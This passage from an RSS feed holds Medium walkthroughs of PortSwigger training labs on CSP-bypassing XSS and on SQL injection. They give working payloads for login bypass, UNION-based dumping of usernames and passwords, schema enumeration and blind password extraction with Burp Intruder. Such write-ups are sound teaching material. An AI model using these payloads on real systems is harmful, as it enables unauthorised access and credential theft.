bypass</strong></p><p><strong>Description:</strong></p><p>This lab uses CSP and contains a reflected XSS vulnerability.</p><p>To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the <strong>alert</strong> function.</p><p>Please note that the intended solution to this lab is only possible in Chrome.</p><p><strong>Explanation:</strong></p><p><strong>Step 1: </strong>Access the lab</p><p><strong>Step 2: </strong>Type <strong>XSS Payload</strong> on <strong>Search </strong>bar and <strong>Intercept with Burp</strong></p><p><strong>&lt;img src=1 onerror=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYzBouXS4FxvY3EelfalyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cV4drJraekXH_AXYUisVsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZIbbnJJeAT0_qS6hGzVag.png" /></figure><p><strong>Step 3:</strong> Send to <strong>Repeater </strong>and check for the <strong>Response</strong>, we noticed the <strong>CSP</strong> restricted the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBJmjW4r28AddVeKXA9x0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tnhv-VHqoeqcn_qhdxTY7A.png" /></figure><p><strong>Step 4:</strong> Inject another<strong> XSS Payload</strong> on the URL after<strong> ?search=</strong></p><p><strong>%3Cscript%3Ealert%281%29%3C%2Fscript%3E&amp;token=;script-src-elem%20%27unsafe-inline%27</strong></p><blockquote><strong>NOTE: XSS won`t pop-up on firefox, try on Chrome</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I89nveRG2fLSueqNHEJ6Wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iKrCQwm7vVfG89aUHztLA.png" /></figure><p><strong>*********************THANK YOU****KEEP LEARNING ******************<br>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU, IF SO LIKE THE WRITE UP , LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED<br>FOLLOW MY PROFILE FOR MORE WRITE-UPS<br>************************************PEACE*******************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59c55e0e675a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Security Academy by PortSwigger | SQL Injection]]></title>
            <link>https://medium.com/@mathen/web-security-academy-by-portswigger-sql-injection-dc8b71982391?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc8b71982391</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Wed, 15 Mar 2023 05:48:10 GMT</pubDate>
            <atom:updated>2023-03-15T05:48:10.083Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cMonI3BWnKV7vcgYpRTKQ.png" /></figure><p><strong>Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:</p><p><strong>SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1</strong></p><p>To solve the lab, perform a SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab, Click on Accessories</p><p><strong>Step 2:</strong> You will notice on the URL bar, it shows the address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8H8asZd4a0qKo78fC9w1gQ.png" /></figure><p><strong>Step 3:</strong> Remove all the “<strong>Accessories</strong>” after <strong>category=</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AS2wYm6uGVFI7-HvW_lcKA.png" /></figure><p><strong>Step 4:</strong> Insert this SQLi Payload → <strong>‘+OR+1=1--</strong></p><p>to retrieve hidden data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b2dQblGeSNPkwppmm1rbJQ.png" /></figure><p><strong>Lab 2: SQL injection vulnerability allowing login bypass</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the login function.</p><p>To solve the lab, perform a SQL injection attack that logs in to the application as the <strong><em>administrator</em></strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Click on <strong>My account</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLjDMb9wnz29stKotL92LQ.png" /></figure><p><strong>Step 3:</strong> Insert this SQLi Payload → <strong>administrator’-- </strong>on Username and fill out some random word on Password and Enter to login as<strong> administrator</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2GF6KJwy1027ffMdfgwEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XPSzfjon0C2UxBz66fGowg.png" /></figure><p><strong>Lab 3: SQL injection UNION attack, determining the number of columns returned by the query</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.</p><p>To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Click on <strong>Accessories </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zuBszPhuKC7qyY-NSTtJhQ.png" /></figure><p><strong>Step 3:</strong> Insert the SQLi Payload → <strong>‘UNION SELECT NULL-- </strong>after <strong>Accessories </strong>on the URL bar, if it reflects with <strong>Internal Server Error</strong>, it`s likely to have SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_aJkuGhPtTTasNrXdXC5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n2Ni616XRLVCYxBBB3H_7A.png" /></figure><p><strong>Step 4:</strong> Repeat the Payload by adding <strong>NULL</strong> value till it shows no error so we can confirm the number of columns. The number of columns is equivalent to the number of <strong>NULL</strong> values added on the payload till it shows no error. In this case, this is the payload :</p><p><strong>‘UNION SELECT NULL,NULL,NULL--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6mAjJ9m28t03neZSlvDrvw.png" /></figure><p><strong>Lab 4: SQL injection UNION attack, finding a column containing text</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.</p><p>The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Click on <strong>Accessories </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sr9Of0M3lbRQFEdXC_ktVA.png" /></figure><p><strong>Step 3: </strong>We know from the previous lab that we found 3 columns, we need to identify a column that is compatible with string data. To find, we use the same payload with slight changes. Insert the SQLi Payload → <strong>‘union select ‘abca’,null,null--</strong> after <strong>Accessories </strong>on the URL bar, if it reflects with <strong>Internal Server Error,</strong> it`s likely to have SQL Injection</p><p><strong>NOTE:</strong> <strong>‘abca’</strong> should replace with the string given on the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*glYKDPaWkn_KxyH7dT5dUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqlvy5FEsy3p6-0jmoL9cA.png" /></figure><p><strong>Step 4:</strong> Repeat the Payload by changing the position of the string between the <strong>NULL</strong> values until no error is shown. In this case, this is the payload:</p><p><strong>‘union select null,’abca’,null--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CoCOScCm561OQmmPUl4e3w.png" /></figure><p><strong>Lab 5: SQL injection UNION attack, retrieving data from other tables</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.</p><p>The database contains a different table called <strong><em>users</em></strong>, with columns called <strong><em>username</em></strong> and <strong><em>password</em></strong>.</p><p>To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and uses the information to log in as the <strong><em>administrator</em></strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Click on <strong>Accessories </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbthLHxxGsZPhwBbnPEEgA.png" /></figure><p><strong>Step 3:</strong> On the description, we noticed that the table name is <strong>users</strong> and the column names are <strong>username</strong> and <strong>password</strong>. So let`s construct the SQLi Payload and inject it after the Accessories</p><p><strong>‘union select username, password from users--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1Idd76YPODYRWQUDvrxAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XlM6QQaeza1RHh2UJTjDgg.png" /></figure><p><strong>Step 4: </strong>The webpage show all the<strong> username</strong> and <strong>password </strong>so let&#39;s look for <strong>administrator</strong> and its<strong> password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wur5kyjzZUbLIa6XQ0x6xw.png" /></figure><p><strong>Step 5:</strong> Click <strong>My account</strong> and enter the credentials found on the page and login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSjIAWK-6AXMCtVXE9C28A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2lJuRV61JfreuGzdsh08w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHdnsAzd7DaXBvD2wHgb_A.png" /></figure><p><strong>Lab 6: SQL injection UNION attack, retrieving multiple values in a single column</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.</p><p>The database contains a different table called users, with columns called username and password.</p><p>To solve the lab, perform a SQL injection UNION attack that retrieves all <strong>usernames</strong> and<strong> passwords</strong>, and use the information to log in as the <strong>administrator</strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Click on <strong>Pets </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7RILLuy9Bg1kVjhIgssTqw.png" /></figure><p><strong>Step 3: </strong>On the description, we noticed that the table name is <strong>users</strong> and the column names are <strong>username</strong> and <strong>password. The question state to retrieve multiple value in as single column. </strong>So let`s construct the SQLi Payload and inject it after the <strong>Pets</strong>:</p><p><strong>‘union select null,username||’~’||password from users--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eL0Di9qHzqaPF5jC2CZy3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Va5egBgrGo--sJd3S7BpYA.png" /></figure><p><strong>Step 4: </strong>The webpage shows all the<strong> username</strong> and<strong> password </strong>in a single column so let’s look for <strong>administrator</strong> and its password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3DOkQZYg54pFYidswgenQ.png" /></figure><p><strong>Step 5:</strong> Click <strong>My account</strong> and enter the credentials found on the page and login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vomPLZj6pahWz_ZdamwRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hC-NqrTlgdbenADtDZwTYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wMaFS6kqDLNxrakaZXMzBQ.png" /></figure><p><strong>Lab 7: SQL injection attack, querying the database type and version on Oracle</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.</p><p>To solve the lab, <strong>display the database version string</strong>.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2:</strong> Click on <strong>Lifestyle </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-_1JoJM0LIDOpXMMpYUQg.png" /></figure><p><strong>Step 3:</strong> On the description, we notice to display the database version via SQLi. Through Hints, we found that it uses Oracle database, so let&#39;s construct SQLi Payload to check the reflection and insert after<strong> Lifestyle </strong>:</p><p><strong>‘union select ‘abc’, ‘def’ from dual--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yNpVD6hKCW3ZGkt4x0FvKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-19Rgz_peFtgcS3yiIzWw.png" /></figure><p><strong>Step 4: </strong>We found the<strong> abc</strong> and <strong>def </strong>reflects in a single column using <strong>dual</strong> so it`s positive that it uses oracle database. Let&#39;s construct the actual SQLi Payload to reflect the database version:</p><p><strong>‘union select banner , null from v$version--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Or1DZCmnhccMdLjzkaChkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKteRdBhEboO-6e7KWN2eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lg0Ns_5YldVvDMI8-VCd6w.png" /></figure><p><strong>Lab 8: SQL injection attack, querying the database type and version on MySQL and Microsoft</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.</p><p>To solve the lab, display the database version string.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Click on <strong>Pets </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hMN9KfPgHEsVDtS8R8XkQ.png" /></figure><p><strong>Step 3: </strong>We need to display the database type and its version on MySQL &amp; Microsoft. Both syntax works similarly. So let`s construct SQLi Payload to test possibility of the present of MySQL and Microsoft on the backend:</p><p><strong>‘union select ‘a’ , ‘b’#</strong></p><p>During testing, the payload didn&#39;t works but I found the solution, We need the encode the payload before injecting so I use <a href="https://www.urlencoder.org/"><strong>https://www.urlencoder.org/</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ2iGntkV8k_1YPu3VUWbQ.png" /></figure><p><strong>Step 4:</strong> Injected the encoded payload after <strong>Pets</strong> and check for the reflection of <strong>a</strong> and <strong>b</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SK0KA36WuuKbkwt_ujMKwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kQpxzzOuZSERp0aaptRpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Au7q3QuMU3TvRInJj6rvYg.png" /></figure><p><strong>Step 5:</strong> Let`s construct the actual SQLi Payload to retrieve the database type and its version on MySQL &amp; Microsoft and make sure to encode the payload ,follow the previous step to encode.</p><p><strong>‘union select @@version, null#</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vLle34Tl36UV1TS-OfoIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8VMn72Kqtqvt1bdzKJ1KJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQK0RJV1iHXFIXyBY76WQA.png" /></figure><p><strong>Lab 9: SQL injection attack, listing the database contents on non-Oracle databases</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.</p><p>The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.</p><p>To solve the lab, log in as the <strong>administrator </strong>user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Click on <strong>Pets </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BbPtIsHRsN71UbscQg2aQ.png" /></figure><p><strong>Step 3:</strong> Let`s construct SQLi Payload , inject after <strong>Pets</strong> and check for the reflection <strong>a</strong> and <strong>b </strong>of :</p><p><strong>‘union select ‘a’, ‘b’--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-gEsUJkwRIEdZPjt8xoWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvnYA-HQiPJprPQKdeQXzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knAZJtw-FkgBD1rw-enG7A.png" /></figure><p><strong>Step 4: </strong>We noticed the site reflects the query, so we need to get the<strong> table name</strong></p><p><strong>‘union select table_name,null from information_schema.tables--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3rzhKgcSo4y2x9tBnQNThA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJGbnv2SyyqjUIMNWD7AnQ.png" /></figure><p><strong>Step 5:</strong> Let`s get the <strong>column name</strong></p><p><strong>‘union select column_name ,null from information_schema.columns where table_name=’users_manuaj’--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ua97miQr0ta5hQQ221zljQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQ-SN8TvP1BpfWtRe7WBNw.png" /></figure><p><strong>Step 6:</strong> Now we have the <strong>table</strong>, <strong>column </strong>to get the<strong> user credentials</strong>. Let`s construct the final payload:</p><p><strong>‘union select username_iqqvva ,password_mvfadn from users_manuaj--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*keRxRl3zaImOsIG7KMfB4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4t9FgV-tAZR3zwhZOjTj7w.png" /></figure><p><strong>Step 7:</strong> Once we found the <strong>administrator</strong> credentials, click <strong>My account</strong> and login to the credentials that have found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7pzF5aHeequvnQ09gyx0sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ud2UNibQnQ-D3cJGXVGvHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWRAWv3JXvmwx6xgFjdmZw.png" /></figure><p><strong>Lab 10: SQL injection attack, listing the database contents on Oracle</strong></p><p><strong>Description:</strong></p><p>This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.</p><p>The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.</p><p>To solve the lab, log in as the <strong>administrator</strong> user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Click on <strong>Pets </strong>since the SQL Filter is vulnerable at <strong>category</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZDhKoLy1xJakcwBVmoXPQ.png" /></figure><p><strong>Step 3:</strong> Let`s construct SQLi Payload , inject after <strong>Pets</strong> and check for the reflection <strong>abc</strong> and <strong>def</strong> of :</p><p><strong>‘union select ‘abc’, ‘def’ from dual--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-dfbqacolqJfjYmhVFsnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StAL6u1V6Cy58cl4Oi30ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6FJG_B8E5WVjzPWG8ud4Q.png" /></figure><p><strong>Step 4: </strong>We noticed the site reflects the query, so we need to get the<strong> table name</strong></p><p><strong>‘union select table_name,null from all_tables--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35AbgnTdM4eonaO5dntavw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkTiw5Ro5mOI3wEyO5P7Uw.png" /></figure><p><strong>Step 5:</strong> Let`s get the <strong>column name</strong></p><p><strong>‘union select column_name, null from all_tab_columns where table_name=’USERS_PQMEJL’--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grn6g9IGr1_C_OP1u6gXkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClDMUulJCh7nw2NRU5Hvgw.png" /></figure><p><strong>Step 6:</strong> Now we have the <strong>table</strong>,<strong> column</strong> to get the <strong>user credentials</strong>. Let`s construct the final payload:</p><p><strong>‘union select USERNAME_UEQJNE, PASSWORD_HBTQAZ from USERS_PQMEJL--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1auUMYhfY3KwyIci3_VVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgKMVGkxx106RoSNOa2cow.png" /></figure><p><strong>Step 7:</strong> Once we found the administrator credentials, click <strong>My account</strong> and login to the credentials that have found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzZZxg3aDfpEXDoiX_MuwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Wx5kP-F7k_UBL2ceuShbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyB-0jFi10JGO8vi5nxPEg.png" /></figure><p><strong>Lab 11: Blind SQL injection with conditional responses</strong></p><p><strong>Description:</strong></p><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The results of the SQL query are not returned, and no error messages are displayed. But the application includes a “Welcome back” message in the page if the query returns any rows.</p><p>The database contains a different table called <strong><em>users</em></strong>, with columns called <strong><em>username </em></strong>and <strong><em>password</em></strong>. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.</p><p>To solve the lab, log in as the <strong><em>administrator </em></strong>user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1:</strong> Access the lab</p><p><strong>Step 2: </strong>Open webpage and intercept the request with <strong>Burp Suite</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUKPdjjolWn1VhAe1ieyRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WuIa2S__UZuq-x7yM6HArQ.png" /></figure><p><strong>Step 3</strong>: Send the request to Repeater and add<strong> ‘ AND ‘1’=’1</strong> after the <strong>TrackingID</strong> and click the <strong>send</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKcJpq91WWh6xFCoPi4iDg.png" /></figure><p><strong>Step 4</strong>: If the Request response with <strong>Welcome back!</strong>, it shows there is SQL Injection. Now try with<strong> false condition</strong> to confirm it. Same step as <strong>Step 3</strong> with <strong>‘ AND ‘1’=’2</strong>. It Doesn`t show the <strong>Welcome back! </strong>which means the condition is <strong>false</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PMLY2sJpWPUbqs9zW7EXQ.png" /></figure><p><strong>Step 5</strong>: As mentioned in description the username is <strong>administrator</strong> and the table name is <strong>users</strong>.We need to find the <strong>password</strong> for administrator but before finding we need to find the length of the password so it will be easy for us to find the password. This is the payload:</p><p><strong>‘ AND (SELECT ‘a’ FROM users WHERE username=’administrator’ AND LENGTH(password)&gt;1)=’a</strong></p><p>Add this payload on<strong> Intruder</strong> and click <strong>Add</strong> on <strong>1</strong>, Go to <strong>Payload</strong> → Change <strong>Payload typ</strong>e to<strong> Numbers</strong>, Add:</p><p><strong>From: 1</strong></p><p><strong>To: 21</strong></p><p><strong>Step: 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2yldEMqOQsvsZd5aPbxSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IqS6WxsDENgwiX5k_BlApQ.png" /></figure><p><strong>Step 6</strong>: Go to<strong> Options</strong> and Add <strong>Welcome back!</strong> on <strong>Grep-Match</strong> and<strong> Start Attack. </strong>We noticed when it comes to<strong> 20</strong>, there`s <strong>no Welcome back!</strong>. So we confirm the <strong>password length</strong> is <strong>20</strong>.</p><p><strong>Why 20 not 19 because we use &gt; symbol not &gt;= so 20 is consider in this case</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsbfvIGeV5LRoRAhLca20g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*hzVbQwo2WUtzNkwvp-9H_g.png" /></figure><p><strong>Step 7</strong>: Now we knew the length of the password, Let&#39;s find that password. Inject the payload on<strong> Intruder</strong>:</p><p><strong>‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’administrator’)=’a</strong></p><p><strong>Clear</strong> all the <strong>highlight</strong> and click <strong>Add</strong> on <strong>a</strong>, similar to <strong>Step 6</strong>:</p><p>Go to <strong>Payload </strong>,Choose <strong>Simple list</strong> and Add <strong>a-z</strong>,<strong> 0–9</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GfUiOlTFiqFVcQy25CYXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9FVZ5jQ6evADf6nwuzn5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16BQJ9iw-eFNLMxgAEZzzA.png" /></figure><p><strong>Step 8</strong>: Go to<strong> Options</strong> and Add <strong>Welcome back!</strong> on <strong>Grep-Match</strong> and<strong> Start Attack.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UzYPjmv9VsB6pE17AIHLw.png" /></figure><p><strong>Step 9</strong>: We noticed the character, write it down and repeat the same<strong> Step 7</strong> with changing the position of<strong> 1</strong> to <strong>2</strong>,<strong> 3</strong>,<strong> 4</strong> one by one and write down the character till position<strong> 20</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDw6_gIF6GMdDlchBBitMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w51lkiq1U9QF2WxmXSSgvA.png" /></figure><p><strong>Step 10</strong>: Once we finish, we got the administrator`s password and Click <strong>My account </strong>and fill up the<strong> credentials</strong> and <strong>login</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jl_j8QwKtZVJIG1Hbgprtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hw-yLW0acJLRiSpEb7nj3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEocuJobxv_e06XIXubsEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGKTEF59Ch0UVRwleRNwQw.png" /></figure><p><strong>Lab 12: Blind SQL injection with conditional errors</strong></p><p><strong>Description:</strong></p><p>This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.</p><p>The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.</p><p>The database contains a different table called users, with columns called <strong><em>username</em></strong> and <strong><em>password</em></strong>. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.</p><p>To solve the lab, log in as the administrator user.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Open the webpage and intercept the request with Burp Suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuuFi45C7kqINiKxNsIPwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ktu8WkCvlg33Y-gxHY3SEw.png" /></figure><p><strong>Step 3</strong>: Send the request to Repeater and add<strong> ‘</strong> after the<strong> TrackingID </strong>and click <strong>send </strong>button and check for the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jos2f-egY3FHjhnZIIwjKw.png" /></figure><p><strong>Step 4</strong>: As in Step 3, it shows<strong> error</strong> so let`s try adding <strong>‘’ </strong>after the <strong>TrackingID</strong> and click <strong>send</strong> button and check for the response and it shows<strong> no error message</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cxt4Zy6gnMv9malOy0xWVA.png" /></figure><p><strong>Step 5</strong>: Inject <strong>‘||(SELECT 